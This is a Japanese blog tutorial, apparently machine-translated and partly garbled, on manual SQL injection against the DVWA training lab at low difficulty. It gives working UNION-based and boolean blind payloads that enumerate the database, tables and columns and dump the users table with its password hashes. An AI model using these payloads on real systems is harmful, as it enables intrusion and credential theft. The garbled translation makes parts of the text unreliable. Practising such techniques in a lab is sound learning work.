SQL手動注入学習実戦——dvwa lowからimpossible『low編』


コンセプト関連
PHPでSQL文を動的に構築する言語は
query="SELECT∗FROMusersWHEREusername=". _GET[“name”];
nameパラメータを制御し、実行するSQL文を変更することで、攻撃の目的を達成できます.
SQL文法については、まずphp文法を理解してから、これをします.
SELECT    FROM   
  *            
WHRER                 ,    WHRER      SELECT  
SELECT * from    WHRER        

手作業注入編
ステップ1、注入点を判断する
ろんり推理しけんほう
  • まず、データがどのように入力されているかを知る必要があります.
  • GET要求、URLにパラメータ
  • を送信
  • POST要求:データが要求体に含まれる
  • .
  • その他の注入:HTTP要求のその他の内容もSQL注入脆弱性
  • を出発する
  • あなたのwinsharkやbripsuiteを使うことを忘れないでください.バッグをつかむことで、より詳細な注入情報を得ることができます.

  • 私たちはDVWAを例にして、一歩一歩難易度を高めて、まずlow難易度に調整して、それから私たちは1つを提出しました.
    GET /DVWA/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1

    これが非常に一般的なGETメソッドです.このとき、sql文は
    select * from users where id = 1

    確かに何の問題もない文です.でももし’を入れたら?それは間違っています.mysql_だからquery()関数は、下りコードのmysql_でブール値を返します.fetch_array($sql)は実行に失敗し、PHPはmysql_を示す警告メッセージを表示します.fetch_array()の最初のパラメータはリソースでなければなりませんが、コードは実際の実行では、与えられたパラメータ値はブール値です.
    and orメソッド
    ページにエラーメッセージが返されない場合は、この方法を使用します.パラメータの後にand 1=1とand 1=2を加えて違いを探します.最初の条件は本当なので、2番目の条件は偽物です.そして、エラー結果が返されるかどうか見てみましょう.
    加減法
    一部の愚かな管理者は取得IDをデジタル型に書くので、私たちの「大法」は効果がありません.1+1(プラス記号は%2 bで代用)を入力してid=2の結果を返すかどうかを見ることができます.
    総合と応用
    入力が文字型または数字型であると判断する
    枠に入力
  • 1
  • 1’ and 1=1 #
  • 1’and 1=2#表示が存在しない;注入点を見つけて、文字型SQLブラインド注入TIPS:高級点で、私たちは#を%24に変えて、スペースを/**/に変えます.もちろん、一つ一つ説明しない置換法もたくさんありますが、これはlowレベル
  • です.
    ステップ2 oder byとunion select現在のライブラリ名を爆破
    補足:lowのサーバーのコアコード(部分)私はCTFの中で間違いのコードを打ち出すことがあり得ないと感じます
    // Get input 
        $id = $_GET[ 'id' ]; 
    
        // Check database 
        $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
        $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors 
    

    -最初の列挙
    1’and length(database()=1#を1つずつ試してみると、4が存在していることがわかります.
  • 後ASCII二分法1’and ascii(substr(database(),1,1)>97#を1つずつ探して、完全なライブラリ名dvwa
  • を推測することができます.
    TIPS:substr PHPの文字列検索関数substr(string,start,length)string-startの現在の文字列位置はもちろん(ここでは1,2,3,4一つ一つ列挙します)、lengthの場合正数はstart位置から戻り、負数の場合は文字列の末尾から戻ります.
    正常な注入方法を話しますが、盲注は使えません.エラーメッセージを印刷しないからでしょう
    注入点が見つかったら、1'order by「num」#でテーブル内の列数がlowレベルで1'order by 2#で実行可能であることを検索し、3になるとエラー情報を出力します.だから最大2列//この情報は肥腸が重要です
    その後、select unionの方法で、キー情報を検索します.グレーがよく使う関数:
  • version()
  • user()
  • database()
  • @@version_complie_osはい、今1’union select database()を入力して、2#は私たちが前に苦労して見つけたdvdデータベースを得ることができます.

  • TIPS:union selectのときは必ずパラメータの位置を埋めなければなりません.数字で埋めてもいいし、関数で埋めてもいいです.バカにversion()を書いてはいけません.
    ステップ3現在のテーブル名を爆破する
    内容はこの作者に感謝して、これは私が見た1篇の盲注が書いたとても良い作者がまず表の数量を推測して1’and(select count(table_name)from information_を入力しますschema.tables where table_schema=database()=1#を試してみると、「置換=1の1は1,2,3,4,5,...」2が実行可能であることが分かった.次に、表名1’and length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1)=1#置換=1のうちの1は1,2,3,4,5,...発見9が可能である.だから長さは9 1’and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1)>97#はまたASCII二分段階に着いて、それから最初のテーブル名gusetbookを見つけてlimitの後ろの1を2に変えて、もう一度、2番目のテーブル名users私の母を見つけて、CTFの1本の盲注題は手作業でどのくらいします
    アプリケーションinformation_schemaのデータベースは、MYSQLのみをサポートしており、テーブル名をすばやく爆破することができます.
    まず文法を復習しましょう
    SELECT    FROM   
      *            
    WHRER                 ,    WHRER      SELECT  
    SELECT * from    WHRER        

    入力1'union select database()#さっきやったよ~入力1'union select table_name,2 from information_schema.tables where table_schema=’dvwa’#キャプチャ情報
    ID: 1' union select table_name,2 from information_schema.tables where table_schema='dvwa'#
    First name: admin
    Surname: admin
    
    ID: 1' union select table_name,2 from information_schema.tables where table_schema='dvwa'#
    First name: guestbook
    Surname: 2
    
    ID: 1' union select table_name,2 from information_schema.tables where table_schema='dvwa'#
    First name: users
    Surname: 2

    私の母、私は30分盲目で、普通の1分です.
    ステップ4現在のフィールドを爆破する
    まず、テーブル内のフィールドの数を1’and(select count(column_name)from information_schema.columns where table_name='users’)=1#ずつ試してみると、8には次のクイズフィールド名1'and length(substr((select column_name from information_schema.columns where table_name='users'limit 0,1)が存在することが分かった)=1#ずつ7文字列の長さが見つかった.後に著者は書かなかったが、道理を説くという盲注は本当に目がくらくらしている.あとで補う.
    『ここでuserを例にとる』1’union select column_name,2 from information_schema.columns where table_name=’users’#
    わあ、思庁が足りない!
    ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
    First name: admin
    Surname: admin
    
    ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
    First name: user_id
    Surname: 2
    
    ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
    First name: first_name
    Surname: 2
    
    ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
    First name: last_name
    Surname: 2
    
    ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
    First name: user
    Surname: 2
    
    ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
    First name: password
    Surname: 2
    
    ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
    First name: avatar
    Surname: 2
    
    ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
    First name: last_login
    Surname: 2
    
    ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
    First name: failed_login
    Surname: 2
    
    ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
    First name: CURRENT_CONNECTIONS
    Surname: 2
    
    ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
    First name: TOTAL_CONNECTIONS
    Surname: 2

    パスワードの取得
    盲注後で更新...
    一般注入文入力:1'union select user,password from users#
    ID: 1' union select user,password from users#
    First name: admin
    Surname: 5f4dcc3b5aa765d61d8327deb882cf99
    
    ID: 1' union select user,password from users#
    First name: gordonb
    Surname: e99a18c428cb38d5f260853678922e03
    
    ID: 1' union select user,password from users#
    First name: 1337
    Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
    
    ID: 1' union select user,password from users#
    First name: pablo
    Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
    
    ID: 1' union select user,password from users#
    First name: smithy
    Surname: 5f4dcc3b5aa765d61d8327deb882cf99

    よし手に入れた.次にMD 5を解読したり、Aクラスの同級生に渡したりしましょう.
    一般注入、総括と関連
  • ステップ1注入点キーワード文字注入点、ワイドバイト注入点、デジタル注入点
  • を探す
  • ステップ2現在のデータベース名を爆破する
  • キーワードorder by,select union database()
  • ステップ3現在のテーブル名を爆破
  • キーワードunion select table_name,2,3,4,5 from information_schema tables where table_scheme='ライブラリ名'#
  • ステップ4現在のフィールド名を爆破
  • キーワードunion select column_name,2,3,4,5 from information_schema.columns where table_name='テーブル名'#
  • ステップ5データ解析
  • キーワード復号アルゴリズム

  • 他の注入方法については、その後の難易度で補います.盲注してからまた書くので、自分ではまだはっきりしていません.
    2018年1月10日00:10:31
    包みを焼く